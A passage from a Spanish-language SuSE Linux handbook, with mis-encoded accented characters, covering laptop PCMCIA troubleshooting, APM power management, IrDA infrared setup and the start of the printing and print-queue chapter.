conf. Siguiendo el ejemplo expuesto se generan tres configuraciones de ar-
ranque, asφ como se muestra en el fichero 11.1.2. DespuΘs de haber modi-
ficado /etc/lilo.conf hay que ejecutar el comando lilo . Seg·n la con-
figuraci≤n de ejemplo dada en el fichero 11.1.2 ahora se puede iniciar cada
esquema fßcilmente seleccionando w , h o s en el momento de arrancar.
314
____________________________________________________________________________________________________________11.1.__PCMCIA___*
*______________________
Soporte APM
El paquete PCMCIA de SuSE Linux se compila sin soporte de APM, ya que
para usar APM tambiΘn el kernel debe estar preparado y los kernel con so-
porte APM no funcionan de forma fiable en todas las computadoras. Es posi-
ble usar el daemon apmd (ver apartado 11.2.3 en la pßgina 319El daemon
APMsubsection.11.2.3) para ''simular'' el soporte APM o recompilar el pa-
quete PCMCIA con soporte de APM; esto no es tan complicado como suena.
Lo importante es que durante la compilaci≤n ya se ejecute el kernel correcto,
ya que se obtiene cierta informaci≤n de Θl. El paquete PCMCIA debe estar
instalado pero a·n no se debe haber iniciado; en caso de duda se usa el co-
mando rcpcmcia stop . DespuΘs de esto se instala con YaST el paquete con
las fuentes de PCMCIA, indicando despuΘs:
tierra: # rpm -ba /usr/src/packages/SPECS/pcmcia.spec
íYa estß! Ahora incluso se encuentra un nuevo paquete binario en el directo-
rio /usr/src/packages/RPMS. Este se puede usar para instalarlo en otras
computadoras cuando se usa el mismo kernel.
11.1.5 En caso de problemas. . .
Usar PCMCIA resulta problemßtico con algunos portßtiles pero afortunada-
mente la mayorφa de los problemas se resuelven fßcilmente trabajando de for-
ma sistemßtica. Lo primero es averiguar la causa del problema, que puede ser
la tarjeta o el sistema base PCMCIA. Por eso hay que iniciar la computadora
sin ninguna tarjeta insertada. Todos los mensajes de interΘs se protocolizan
en el fichero /var/log/messages; lo mejor es observar este fichero durante
las pruebas con:
tierra: # tail -f /var/log/messages
lo que permite determinar uno de los siguientes casos como causa del error.
El sistema base PCMCIA no funciona
Si el sistema llega a pararse durante el arranque con el mensaje "PCM-
CIA: Starting services:÷ si hay otras incidencias ''extra±as'', es posi-
ble deshabilitar el servicio PCMCIA para el pr≤ximo arranque, indicando
NOPCMCIA=yes en el ''prompt'' (LILO: ). Para conocer mejor la causa del er-
ror, los tres m≤dulos bßsicos se cargan secuencialmente. Pare ello se usan los
comandos modprobe pcmcia_core , modprobe i82365 o ~ en pocas oca-
siones ~ modprobe tcic y modprobe ds . Los m≤dulos crφticos son los dos
primeros.
La pßgina del manual de pcmcia_core (man pcmcia_core ) presta ayuda
cuando el error aparece en el momento de cargar pcmcia_core. Las op-
ciones que se mencionan en la pßgina de manual se pueden usar en conjunto
con el comando modprobe . Como ejemplo nos sirve un problema ocurri-
do anteriormente por la activaci≤n del soporte PNP (''Plug-and-Play'') de los
m≤dulos PCMCIA. El soporte PnP ocasionaba la parada del sistema cargan-
do pcmcia_core. Para remediarlo era necesario desactivar el soporte PnP
mediante la opci≤n do_pnp=0 . En el caso de efectuar pruebas, una opci≤n se
a±ade al comando modprobe de la siguiente forma:
*
* 315
11. Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
*_______________________________________@
tierra: # modprobe pcmcia_core do_pnp=0
Una vez que la opci≤n probada tenga Θxito, Θsta se guarda en el fichero
/etc/rc.config mediante la variable PCMCIA_CORE_OPTS :
PCMCIA_CORE_OPTS="do_pnp=0"
Esta variable contiene ahora por defecto el valor do_pnp=0 , asφ que hace
falta poner el valor 1 para conseguir el soporte PCMCIA. Varias opciones se
separan en la misma lφnea mediante un espacio:
PCMCIA_CORE_OPTS="do_pnp=0 probe_io=0"
Para resolver problemas cargando i82365 se puede recurrir a la pßgina del
manual de i82365 (man i82365 ). Un problema tφpico a la hora de cargar
este m≤dulo es un conflicto de recursos, o sea una interrupci≤n, un puerto de
E/S (I/O-Port) o un rango de memoria se ocupan dos veces. En realidad el
m≤dulo i82365 comprueba los recursos antes de asignarlos a la tarjeta pero
justamente esta comprobaci≤n es la que produce a veces un error. For exam-
plehay computadoras que bloquean el teclado y/o el mouse en el momento
de comprobar la interrupci≤n 12 (dispositivos PS/2). En tal caso sirve como
remedio el parßmetro irq_list=<Lista_de_IRQs> . La lista debe contener
todos los IRQs que se permite usar, p. ej. :
tierra: # modprobe i82365 irq_list=5,7,9,10
o, para fijarlo en /etc/rc.config:
PCMCIA_PCIC_OPTS="irq_list=5,7,9,10"
Ademßs el Cardmanager eval·a los ficheros /etc/pcmcia/config y /etc/
pcmcia/config.opts. Los parßmetros definidos en estos no tienen rele-
vancia antes de la carga de los drivers para las tarjetas PCMCIA. En /etc/
pcmcia/config.opts tambiΘn se puede indicar las IRQs, puertos E/S y ran-
gos de memoria excluidos. A diferencia de la opci≤n irq_list , los recursos
excluidos en config.opts no se usan para una tarjeta PCMCIA pero sφ que
se comprueban mediante el m≤dulo base i82365.
La tarjeta PCMCIA no funciona (bien)
Hay tres explicaciones para una tarjeta PCMCIA que no funciona bien: No
se reconoce la tarjeta, la tarjeta usa recursos indebidos o es poco fiable.
Si la tarjeta no se reconoce, el mensaje "unsupported Card in Slot x"
aparece en /var/log/messages. El mensaje solo indica que el gestor de
tarjetas (Cardmanager ) no es capaz de asignar un driver a la tarjeta, ya que
se necesita una especie de ''banco de datos de drivers'' (en /etc/pcmcia/
config) para esta asignaci≤n. Para ampliar este ''banco de datos de drivers''
se pueden usar entradas existentes como plantilla para nuevas. Para identi-
ficar la tarjeta se puede usar cardctl ident . Para mßs informaci≤n sobre
el tema consulte el apartado 6 del PCMCIA-HOWTO (''Dealing with un-
supported cards'' ~ Tratar tarjetas no soportadas) y la pßgina del manual de
pcmcia (man pcmcia ). DespuΘs de modificar /etc/pcmcia/config hay
que cargarlo de nuevo mediante rcpcmcia reload .
La mayorφa de las tarjetas PCMCIA trabajan correctamente con cualquier
IRQ o puerto de E/S. Por eso muchas veces el problema radica en el uso
316
____________________________________________________________________________________________________________11.1.__PCMCIA___*
*______________________
posterior de un recurso por parte de otro dispositivo (CDROM en la 2a con-
troladora IDE: IRQ 15; puerto serie o IrDA: IRQ 3, IRQ 4; sonido, im-
presora IRQ 5, IRQ 7). Para estos casos es preciso excluir tales recursos
en /etc/pcmcia/config.opts. Si una determinada tarjeta necesitara una
configuraci≤n especφfica, es posible usar config.opts para pasar opciones
al m≤dulo en cuesti≤n. For examplepara usar el m≤dulo pcnet_cs con la
IRQ 5, se usa la siguiente entrada:
module "pcnet_cs" opts "irq_list=5"
Las diferentes opciones se explican en las pßginas de manual que existen
para la mayorφa de los m≤dulos3 . Cuando no hay ninguna pßgina de man-
ual se puede recurrir a las opciones de la pßgina del manual de i82365
(man i82365 ) o intentar entender el c≤digo fuente del m≤dulo en cuesti≤n. . .
Un problema especφfico de las tarjetas de red 10/100 Mbit es una selecci≤n
automßtica equivocada del modo de transferencia. El problema se puede
remediar con el comando ifport , que permite averiguar y modificar el modo
de transferencia; ver la pßgina del manual de ifport (man ifport ). La
configuraci≤n adecuada se puede indicar mediante la variable IFPORT en
/etc/pcmcia/network.opts.
11.1.6 Instalaci≤n vφa PCMCIA
En ciertas ocasiones ya se necesita el soporte PCMCIA para la instalaci≤n
de SuSE Linux. Para ello hay que seleccionar en `M≤dulos del Ker-
nel (Drivers)' la opci≤n `Cargar driver PCMCIA'. Primero aparecen
dos cuadros de dißlogo que permiten introducir opciones para los m≤dulos
pcmcia_core y i82365. Normalmente estos campos se quedan vacφos. Las
pßginas de manual para pcmcia_core y i82365 se encuentran en el primer
CD dentro del directorio docu. Durante la instalaci≤n aparecen mensajes de
sistema en las distintas consolas virtuales, que se pueden acceder mediante
Alt |||||||||__+ |F________|<x>. 4
DespuΘs del primer paso de la instalaci≤n, el sistema se reinicia total- o
parcialmente. Raras veces el sistema se para al iniciar PCMCIA, pero en
este punto la instalaci≤n ya estß tan avanzada que se puede iniciar Linux sin
PCMCIA y en modo texto usando la opci≤n de arranque NOPCMCIA=yes .
Para solventar este problema consulte el apartado 11.1.5 en la pßgina 315En
caso de problemas. . . subsection.11.1.5.
11.1.7 Utilidades adicionales
El programa cardctl ya ha sido mencionado varias veces. Es la herramienta
principal para conseguir informaci≤n sobre PCMCIA o para ejecutar deter-
minadas acciones. Detalles sobre el programa se encuentran en la pßgina del
manual de cardctl (man cardctl ). TambiΘn es posible introducir cardctl
sin ning·n parßmetro para que aparezca una lφnea con los comandos vßlidos.
3 ____________________________________________________
A prop≤sito: rpm -ql pcmcia | grep man genera una lista con todas las pßginas de manual
del paquete pcmcia.
4 Trabajando con YaST2 hay que usar |_______|Ctrl+ |_____A|lt+ |________F|<x>, ya que YaST2 se ejecuta bajo
el sistema X Window.
*
* 317
11. Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
*_______________________________________@
Figura 11.1: PCMCIA ~ Cardinfo
Para este programa existe una superficie grßfica (sobre cardinfo vΘase la
figura 11.1), que permite controlar los aspectos mßs importantes. Desafortu-
nadamente no es posible usarlo para cambiar de un esquema a otro.
Dentro del entorno KDE existe tambiΘn kardinfo . Esta herramienta es bßsi-
camente igual a cardinfo .
Otras utilidades del paquete pcmcia son ifport , ifuser , probe y
rcpcmcia , pero estos no se usan con frecuencia. Para conocer exacta-
mente el contenido completo del paquete pcmcia, se puede usar el comando
rpm -ql pcmcia .
11.2 APM ~ Gesti≤n de potencia
11.2.1 Fundamentos
La gesti≤n de potencia (ingl. Powermanagement) requiere hardware adecua-
do y rutinas de la BIOS adecuadas. La mayorφa de los portßtiles y de las
mßquinas de sobremesa modernas cumplen los requerimientos. Las funciones
de ahorro de energφa realmente importan para los portßtiles cuando no estßn
conectados a la fuente de alimentaci≤n. A continuaci≤n se discuten estas fun-
ciones:
Standby ~ Este modo de operaci≤n apaga el panel/monitor y algunas com-
putadoras reducen la potencia del procesador.
Suspend (to memory) ~ Para este modo toda la informaci≤n sobre el estado
del sistema se guarda en la memoria y ~ aparte de Θsta ~ todo el resto
del sistema se para. Es un estado en el cual la computadora gasta muy
poca energφa, asφ que se puede pasar desde 12 horas hasta varios dφas con
la baterφa. La gran ventaja es la de volver dentro de pocos segundos al
estado anterior de trabajo, sin necesidad de arrancar y cargar de nuevo los
programas usados. ~ El atractivo especial de realizar esto con Linux es el
no tener que parar la computadora nunca; hay otros sistemas operativos
que se vuelven inestable despuΘs de cierto tiempo. Para la mayorφa de los
318
________________________________________________________________________________11.2.__APM_~_Gesti≤n_de_potencia____________*
*______________________
portßtiles modernos es suficiente cerrar la tapa para suspender y abrirla
despuΘs para seguir trabajando.
Hibernate (Suspend to disk) ~ En este modo la computadora aguanta todo
el invierno5 , ya que todo el contenido de la memoria se ''vuelca'' al disco
duro y el sistema se para despuΘs. La computadora se tarda unos 30 a 60
segundos y tambiΘn se restablece completamente el estado anterior. Al-
gunos fabricantes ofrecen ciertos modos hφbridos.
Control de la baterφa ~ Muy interesante.
Apagado automßtico ~ Una caracterφstica tambiΘn interesante para las com-
putadoras de sobremesa. DespuΘs de un ''Shutdown'' la computadora se
para completamente sin necesidad de apretar el bot≤n de apagado.
Parar el disco duro ~ Puede ahorrar bastante energφa y tambiΘn nervios, si el
disco es ruidoso. Es una funci≤n que depende de varios factores externos;
si hay p. ej. un editor que hace regularmente respaldos, Θste a su vez hace
arrancar regularmente el disco duro.
La BIOS misma realiza algunas de estas funciones directamente. En muchos
portßtiles no hace falta nada mßs que usar una combinaci≤n de teclas o cerrar
la tapa para activar Standby o Suspend. Estos modos de operaci≤n se realizan
sin intervenci≤n del sistema operativo. Para iniciarlos mediante un comando
o si hace falta ejecutar ciertas acciones antes de suspender, hay que instalar
determinados paquetes y un kernel adecuado.
11.2.2 El kernel correcto
Para realizar funciones adicionales de APM se necesita un kernel con so-
porte de APM. Uno de los kernel estßndar de SuSE que se puede instalar
con YaST lo incorpora y se puede comprobar fßcilmente con el comando
cat /proc/apm . Si aparece una lφnea con diversos n·meros, todo estß bien
y la instrucci≤n shutdown -h debe parar y apagar la computadora. Algunas
BIOS no cumplen el estßndar APM al cien por cien, por lo que puede apare-
cer un comportamiento ''extra±o''. Algunos de estos problemas se remedian
con una configuraci≤n especial del kernel; consulte nuestro banco de datos de
soporte http://sdb.suse.de/sdb/de/html/o la ''Linux Laptop Home-
page'' en http://www.cs.utexas.edu/users/kharker/linux-laptop.
11.2.3 El daemon APM
El + Daemon apmd monitoriza el estado de la baterφa y es capaz de iniciar
ciertas actividades cuando aparece un ''Standby'' o ''Suspend''. Se encuentra
en el paquete apmd, serie ap, pero no es imprescindible para trabajar (sin
embargo ·til). La variable START_APMD en /etc/rc.config debe tener
el valor yes , para que se inicie de forma automßtica en el arranque. Para
iniciarlo manualmente se usa rcapmd start .
El daemon se configura mediante algunas variables en /etc/rc.config.d/
apmd.rc.config. Este fichero ya contiene comentarios por lo que solo se
dan algunos consejos a continuaci≤n.
5 ____________________________________________________
Hibernation == Invernar
*
* 319
11. Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
*_______________________________________@
o En SuSE Linux, PCMCIA estß compilado sin soporte APM. Para no tener
que recompilar el paquete PCMCIA, se puede poner la variable
PCMCIA_SUSPEND_ON_SUSPEND en yes . No obstante hay algunas tarje-
tas que siguen sin funcionar despuΘs de suspender el equipo. Para ellos se
puede usar la opci≤n mßs ''drßstica'' PCMCIA_EJECT_ON_SUSPEND=yes .
o Si la hora es incorrecta despuΘs de suspender, hay que poner SET_CLOCK_ON_RESUME
en yes .
o Si el sistema X Window produce problemas cuando el sistema ''se de-
spierta'' use LEAVE_X_BEFORE_SUSPEND=yes .
Ademßs es posible adaptar el comportamiento de parada (''Spindown'') del
disco duro seg·n la fuente de energφa usada (baterφa o red elΘctrica) y parar el
sistema automßticamente cuando la capacidad de la baterφa cae por debajo de
un nivel crφtico. Para los usuarios avanzados queda la posibilidad de a±adir
funcionalidades al fichero /usr/sbin/apmd_proxy.
11.2.4 Comandos adicionales
El paquete apmd contiene algunas utilidades adicionales. apm indica p. ej.
la capacidad actual de la baterφa y se puede poner el sistema en ''standby''
(apm -S ) o ''suspend'' (apm -s ); ver la pßgina del manual de apm (man apm ).
Con el comando apmsleep se puede suspender el sistema para un tiempo
determinado; ver pßgina del manual de apmsleep (man apmsleep ).
Para visualizar un fichero log sin necesidad de mantener el disco duro giran-
do, se puede usar tailf como reemplazo de tail -f .
TambiΘn hay herramientas para el sistema X Window como p. ej. xapm del
paquete apmd que indica de forma grßfica la carga de la baterφa. Usando el
entorno KDE ~ o al menos kpanel ~, se puede visualizar con kbatmon el
estado de carga de la baterφa y suspender el sistema.
11.2.5 Parar el disco duro
En Linux es posible parar el disco duro cuando no se necesita. Esto se real-
iza mediante el programa hdparm , que tiene varias opciones. For example-y
pone el disco duro inmediatamente en modo ''standby'' mientras que -Y lo
para completamente. hdparm -S 6 hace que el disco se pare despuΘs de
30 segundos de inactividad. El valor 6 representa 6 5 = 30 segundos, mien-
tras que 0 deshabilita la funci≤n. A valores mßs grandes el factor de multipli-
caci≤n tambiΘn se aumenta; para mßs detalles ver la pßgina de manual.
Para que este comportamiento dependa de la fuente de energφa (baterφa o red
elΘctrica), es necesario tocar la configuraci≤n en /etc/rc.config.d/apmd.
rc.config. En tal caso la variable CHECK_TIME debe estar en 0 .
Desafortunadamente se necesita el disco con frecuencia por lo que se ''de-
spierta'' con igual frecuencia. Por una parte son los programas (p. ej. editores
de texto) los que salvan los datos regularmente y por otra, herramientas como
tail -f <logfile> que producen accesos frecuentes al disco (el ·ltimo
se puede reemplazar con tailf <logfile> ). Incluso cuando no se usa
ninguno de estos programas, siempre existe un proceso que no deja descansar
al disco duro. Para entenderlo es necesario saber que bajo Linux los datos
320
______________________________________________________________________11.3.__IrDA_~_Infrared_Data_Association_______________*
*______________________
nunca se escriben directamente en el disco, sino adentro de un b·fer que pro-
porciona el kernel. Asφ las operaciones de escribir se agilizan. Para evitar la
perdida de datos existe el ''Update-Daemon'', que se encarga de sincronizar
peri≤dicamente el disco y los b·feres; quiere decir que escribe los datos al
disco. Desde la versi≤n 2.2.11 del kernel este daemon forma parte de Θl por
lo que ya no se puede desactivar fßcilmente o reemplazarlo por el ''mobile
Update-Daemon''. Sin embargo a travΘs del sistema de ficheros /proc es
posible ejercer una cierta influencia sobre Θl. El comando
tierra: # cat /proc/sys/vm/bdflush
indica los parßmetros actuales y los nuevos se establecen mediante
tierra: # echo "60 500 64 256 6000 60000 3000 1884 2" > /proc/sys/vm/bdflush
Para efectuar estos cambios le remitimos a /usr/src/linux/Documentation/
proc.txt para averiguar el significado de la cifras. A prop≤sito: Con sync
se puede forzar la sincronizaci≤n de b·fer y disco.
11.3 IrDA ~ Infrared Data Association
IrDA (Infrared Data Association) es un estßndar industrial para la comu-
nicaci≤n inalßmbrica por onda infrarroja. Muchos de los portßtiles que
se venden hoy en dφa incorporan un emisor/receptor que permite la co-
municaci≤n con otros dispositivos como impresora, modem, LAN u otros
portßtiles. La tasa de transferencia se sit·a entre 2400 bps y 4 Mbps.
_______________________________________________________________________________________________________________________||
|||||||| El kernel de Linux a·n no tiene soporte total del protocolo IrDA, por ||| |
|||||||| lo que esta funcionalidad no estß incorporada en el kernel estßndar; se || |
|||||||| || |
|||||||| considera ''experimental'' (en fase beta). Al no estar totalmente probado, || |
|||||||| es posible que este driver reciente no presente tanta estabilidad como otros || |
|||||||| || |
|||||||| componentes del kernel. || |
||||||||_______________________________________________________________________________________________________________||_
Software
El paquete irda incorpora el soporte de la interface por infrarrojos y el pro-
tocolo IrDA. La documentaci≤n al respecto se encuentra despuΘs de la insta-
laci≤n en /usr/doc/packages/irda/README.
Si el paquete howto estß instalado, se puede encontrar el IR-HOWTO en /usr/
doc/howto/en/IR-HOWTO.gz. Mßs informaci≤n sobre el proyecto IrDA de
Linux se encuentra en el URL http://www.cs.uit.no/linux-irda.
Configuraci≤n
Cuando el paquete irda se instala, las variables START_IRDA , IRDA_PORT
y IRDA_IRQ se apuntan en el fichero /etc/rc.config. IrDA estß normal-
mente desactivado, pero se puede activar manualmente en cualquier instante
con el comando:
tierra: # rcirda start
Para desactivarlo se usa el parßmetro stop . Activando el puerto de infrarrojos
los m≤dulos de kernel necesarios se cargan automßticamente.
*
* 321
11. Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
*_______________________________________@
La interface usada para IrDA se configura con las variables IRDA`PORT (por
defecto /dev/ttyS1 ) y IRDA_IRQ (por defecto 3 ); el script /etc/irda/
drivers se encarga de esta configuraci≤n cuando se inicia el soporte de
infrarrojos.
Para activar el soporte IrDA directamente despuΘs del inicio de sistema,
asigne a la variable START_IRDA el valor yes . Lamentablemente IrDA nece-
sita bastante energφa (baterφa), porque cada pocos segundos envφa un paquete
''Discovery'' para ''descubrir'' automßticamente otros dispositivos.
Aplicaci≤n
Para imprimir por vφa infrarroja, es posible enviar los datos a travΘs del
fichero de dispositivo /dev/irlpt0. Este se comporta igual que la inter-
face o fichero de dispositivo /dev/lp0 con conexi≤n ''alßmbrica'' solo que
los datos viajan por vφa infrarroja.
Se puede configurar una impresora que trabaja con el puerto IrDA tal co-
mo una impresora en el puerto paralelo o puerto serie, usando YaST (ver
apartado 3.7.1 en la pßgina 103Configurar impresorassubsection.3.7.1). Para
imprimir vigile que la impresora estΘ ''a la vista'' del puerto IrDA de la com-
putadora y que el soporte de infrarrojos se haya inicializado.
El fichero de dispositivo /dev/ircomm0 permite comunicarse con otras com-
putadoras o p. ej. con telΘfonos m≤viles. Usando el programa wvdial se puede
entrar vφa infrarrojos a Internet usando por ejemplo el m≤vil S25 de Siemens.
Soluci≤n de problemas
Si los dispositivos en el puerto de infrarrojos no reaccionan, es posible com-
probar con el comando irdadump , si la computadora llega a reconocer el otro
dispositivo (entre al sistema como `root').
tierra: # irdadump
Si hay una impresora Canon BJC-80 ''a la vista'' de la computadora tierra,
el siguiente mensaje aparece en pantalla, repitiΘndose peri≤dicamente (ver
salida en pantalla 11.3.1).
________________________________________________________________________________________________________*
*________||
| 21:41:38.435239 xid:cmd 5b62bed5 > ffffffff S=6 s=0 (14) *
* |
| *
* |
| 21:41:38.525167 xid:cmd 5b62bed5 > ffffffff S=6 s=1 (14) *
* |
| 21:41:38.615159 xid:cmd 5b62bed5 > ffffffff S=6 s=2 (14) *
* |
| 21:41:38.705178 xid:cmd 5b62bed5 > ffffffff S=6 s=3 (14) *
* |
| *
* |
| 21:41:38.795198 xid:cmd 5b62bed5 > ffffffff S=6 s=4 (14) *
* |
| 21:41:38.885163 xid:cmd 5b62bed5 > ffffffff S=6 s=5 (14) *
* |
| *
* |
| 21:41:38.965133 xid:rsp 5b62bed5 < 6cac38dc S=6 s=5 BJC-80 \ *
* |
| hint=8804 [ Printer IrCOMM ] (23) *
* |
| *
* |
| 21:41:38.975176 xid:cmd 5b62bed5 > ffffffff S=6 s=* erde \ *
* |
| hint=0500 [ PnP Computer ] (21) *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 11.3.1: IrDA: irdadump
Si no aparece nada en pantalla o el otro dispositivo no responde, debe com-
probar primero la configuraci≤n de la interface. ┐Realmente estß usando la
interface correcta? Esta se encuentra a veces tambiΘn bajo /dev/ttyS2 o
322
______________________________________________________________________11.3.__IrDA_~_Infrared_Data_Association_______________*
*______________________
/dev/ttyS3 y tambiΘn es posible que se use otra interrupci≤n que no sea la
3. En casi todos los portßtiles es posible modificar esta configuraci≤n en la
BIOS.
Ademßs solo es posible acceder a dispositivos que soporten bien el proto-
colo Printer o bien el protocolo IrComm . Usando programas especiales
(irobex_palm3 , irobex_receive , leer las instrucciones en IR-HOWTO) es
posible comunicarse con dispositivos que se apoyan en el protocolo IROBEX
(p. ej. 3Com Palm Pilot). El resultado del comando irdadump indica, por
detrßs del nombre de dispositivo y entre corchetes, el protocolo soportado.
Actualmente se estß trabajando en el soporte del protocolo IrLAN , pero a·n
no es estable; lo mßs probable es que exista dentro de poco tambiΘn para
Linux.
Para comprobar si el diodo LED realmente se ilumina, es posible mirar por
una cßmara de vφdeo, ya que Θstas ~ al contrario del ser humano ~ son capaces
de detectar la luz infrarroja.
*
* 323
11. Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
*_______________________________________@
324
Capφtulo 12
Impresoras
Probablemente ya habrß pasado por la primera configuraci≤n de una impreso-
ra bajo Linux durante la instalaci≤n del sistema con YaST (ver apartado 3.7.1
en la pßgina 103Configurar impresorassubsection.3.7.1). El presente capφtulo
muestra lo mßs importante de lo que ocurre ''detrßs'' del proceso y no especi-
fica cada detalle pero sφ lo suficiente como para entender el esquema de los
procesos que se llevan a cabo durante la impresi≤n.
12.1 Sinopsis: Interfaces, colas (spooling)
Los puertos paralelos
Para conectar una impresora a una mßquina Linux, se utiliza generalmente el
puerto paralelo.
Desde el kernel 2.2.xx existe el subsistema parport , que necesita drivers
especφficos para reconocer los dispositivos conectados (ver el apartado 10.4.3
en la pßgina 300Conexiones de puerto paralelosubsection.10.4.3). De esta
forma es posible utilizar simultßneamente varios dispositivos conectados en
cadena al puerto paralelo. íLa enumeraci≤n de los ficheros de dispositivo para
la impresora comienza ahora con /dev/lp0! Para poder imprimir a travΘs
del primer puerto paralelo con el kernel 2.2.xx en la forma estßndar de SuSE ,
es preciso cargar los m≤dulos parport, parport_pc y lp. El kmod (ingl.
Kernel Module Loader) los carga (por lo general) automßticamente cuando
se lanza una tarea de impresi≤n (ver apartado 13.2 en la pßgina 351Kmod ~
el ''Kernel Module Loader''section.13.2) . Si los m≤dulos no encuentran el
puerto paralelo, se les puede ''ayudar'' pasando parßmetros al kernel; ver en
la pßgina 388El puerto paralelosubsection.14.3.4 .
Para probar la interfaz y la impresora se puede usar un comando como:
tierra: # echo hello > /dev/lp0
o
tierra: # cat Fichero_Texto > /dev/lp0
Estos comandos envφan datos directamente a la interfaz; solo se pueden usar
como `root' (+ Administrador de sistema). En un sistema multitarea este
procedimiento resulta in·til ya que habrφa que contar con solicitudes de im-
presi≤n en cualquier momento y desde varios procesos al mismo tiempo, lo
que provocarφa un ''caos'' en la impresora. En lugar de esto, las solicitudes se
llevan a cabo a travΘs de una cola de impresi≤n (ingl. printing queue).
*
* 325
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
Los puertos trabajan por defecto en modo ''Polling'' (la CPU tiene que con-
sultarlos peri≤dicamente para saber si hace falta transferir datos). Cuando se
carga el sistema parport o mediante el sistema de ficheros /proc es posible
que el superusuario (`root') cambie la modalidad de trabajo a la de "in-
terrupciones"y use el programa tunelp para optimizar el proceso a·n mßs;
ver la pßgina del manual de tunelp (man tunelp ) y los documentos que
se mencionan en el apartado 10.4.3 en la pßgina 300Conexiones de puer-
to paralelosubsection.10.4.3. Antes de comenzar, se deben comprobar los
parßmetros de los puertos (interrupci≤n "IRQ"y la direcci≤n de memoria) de
las interfaces (generalmente se hace por medio de la BIOS o por ''jumpers'').
12.1.1 Spooling, colas de impresi≤n
En Linux tal como en otros sistemas operativos multitarea, se accede a las im-
presoras a travΘs de un mecanismo de ''spooling'' (cola de impresi≤n). Esto
significa que las solicitudes de impresi≤n se almacenan temporalmente en un
fichero y despuΘs se procesan una tras otra, bajo el control de un programa su-
pervisor (daemon). De este modo, varios usuarios pueden pedir simultßnea-
mente la impresi≤n de documentos sin provocar conflictos. DespuΘs de haber
solicitado la impresi≤n, el usuario puede continuar trabajando sin necesidad
de esperar.
La cola de impresi≤n estß formada por:
o una entrada en /etc/printcap, que define la cola
o un directorio ~ normalmente /var/spool/lpd ~ para albergar un fichero
de datos y otro de control para cada tarea de impresi≤n.
A cada cola de impresi≤n le pertenece una sola impresora, no obstante,
pueden existir varias colas para la misma impresora.
SuSE Linux incluye el sistema BSD-Spooling de la ''University of California
at Berkeley'' en el paquete lprold. En principio estß dise±ado para el uso
vφa red, por lo tanto, se supone que TCP/IP estß configurado y que funciona.
En cuanto a la configuraci≤n, la diferencia entre una cola de impresi≤n local
o una remota es mφnima.
Una tarea de impresi≤n se procesa bajo Linux en tres pasos:
o El fichero de datos se copia al directorio de una cola de impresi≤n y se
completa allφ con un fichero nuevo de control para formar una tarea de
impresi≤n completa.
o El fichero de datos pasa, seg·n las instrucciones del fichero de control,
por un filtro que genera un serie de instrucciones para la impresora en
cuesti≤n; o sea, el filtro genera un flujo de datos en el formato especφfi-
co de la impresora, p. ej. PostScript, PCL, Esc/P2 etc. Esta conversi≤n
puede tener varios pasos y bajo SuSE Linux se encarga de ello el apsfil-
ter (paquete aps). Ver tambiΘn apartado 12.3 en la pßgina 331Filtros de
impresi≤n ~ el ''apsfilter''section.12.3.
o El fichero especφfico se imprime seg·n el orden actual en la cola de im-
presi≤n.
326
_________________________________________12.2.__Colas_de_impresi≤n:_Funcionamiento_y_configuraci≤n__________________________*
*______________________
12.2 Colas de impresi≤n: Funcionamiento y configuraci≤n
Para comprender mejor el funcionamiento de la cola de impresi≤n, se re-
comienda examinar las estaciones por las que pasa una solicitud de impre-
si≤n, desde el fichero del usuario hacia la impresora y cußles programas se
ocupan de ello.
Muchos detalles que no se contemplan aquφ por falta de espacio, se en-
cuentran en la pßgina del manual de lpr (man 1 lpr ), en la pßgina del
manual de lpd (man 8 lpd ) y en la pßgina del manual de printcap
(man 5 printcap ).
lpr: ┐QuiΘn es el ·ltimo?
El programa lpr representa la ''interfaz de usuario'' hacia las colas de impre-
si≤n existentes. Generalmente se solicita una tarea con un sencillo comando
como el siguiente:
tux@tierra: > lpr [-Pcola_impresi≤n] fichero_texto
Dejando la opci≤n -P (''Printer'') para el nombre de la cola de impresi≤n,
se usa como valor predeterminado el contenido de la variable de entorno
PRINTER. Si Θsta se encuentra vacφa, se usa el nombre tradicional lp . Lo
mismo es vßlido para lpq y lprm .
_______________________________________________________________________________________________________________________
|||||||| No debe aparecer ning·n espacio entre la opci≤n -P y el nombre de la || |
|||||||| || |
|||||||| impresora (cola_impresi≤n ). || |
||||||||_______________________________________________________________________________________________________________||_
lpr comprueba mediante el fichero /etc/printcap, si existe la cola de im-
presi≤n indicada. En caso afirmativo, crea el fichero de control de la tarea
(fichero-cf) y una copia del fichero de datos. Posteriormente pasa los dos
ficheros al gestor de impresi≤n lpd , que coloca la tarea en el directorio
(''spool'') de la cola de impresi≤n.
Cuando la tarea de impresi≤n es muy grande, resulta bastante prßctico generar
en el directorio ''spool'' un enlace simb≤lico hacia el fichero de datos, en lugar
de copiarlo. Esto se consigue con la opci≤n -s de lpr . Evidentemente, no se
debe modificar el fichero antes de la finalizaci≤n de la tarea de impresi≤n.
lpr permite seleccionar a mano un filtro de impresi≤n (driver de impresora)
especial para una tarea. Es una opci≤n que se necesita raras veces y se explica
en la Manpage de lpr y en el apartado 12.3 en la pßgina 331┐QuΘ son los
filtros de impresi≤n y c≤mo trabajan?section.12.3 sobre filtros.
Utilidades para el usuario: Sinopsis
Para administrar colas de impresi≤n existe una interesante herramienta grßfica
en el paquete xlpq, serie xap. Sin embargo, las herramientas de la lφnea de
comandos que se presentan a continuaci≤n, son mßs potentes ya que tienen
mßs opciones.
_______________________________________________________________________________________________________________________||
|||||||| Para manipular las colas de impresi≤n se necesitan derechos de supe- ||| |
|||||||| rusuario. For examplepara borrar tareas de impresi≤n que no son propios || |
|||||||| || |
|||||||| hace falta trabajar como `root'. || |
||||||||_______________________________________________________________________________________________________________||_
*
* 327
12. Impresoras _________________________________________________________________________________________________________________*
*_______________________________________@
o lpq muestra las propias tareas en la cola de impresi≤n (usando la opci≤n
-P ); el comando que viene a continuaci≤n da como resultado la salida en
pantalla 12.2.1:
tux@tierra: > lpq -Pcola_impresi≤n
________________________________________________________________________________________________________*
*________||
| cola_impresi≤nRaisnkreadyOwandneprintingr Job Files Total Size *
* |
| *
* |
| active tux 676 Hallo.txt 259420 bytes *
* |
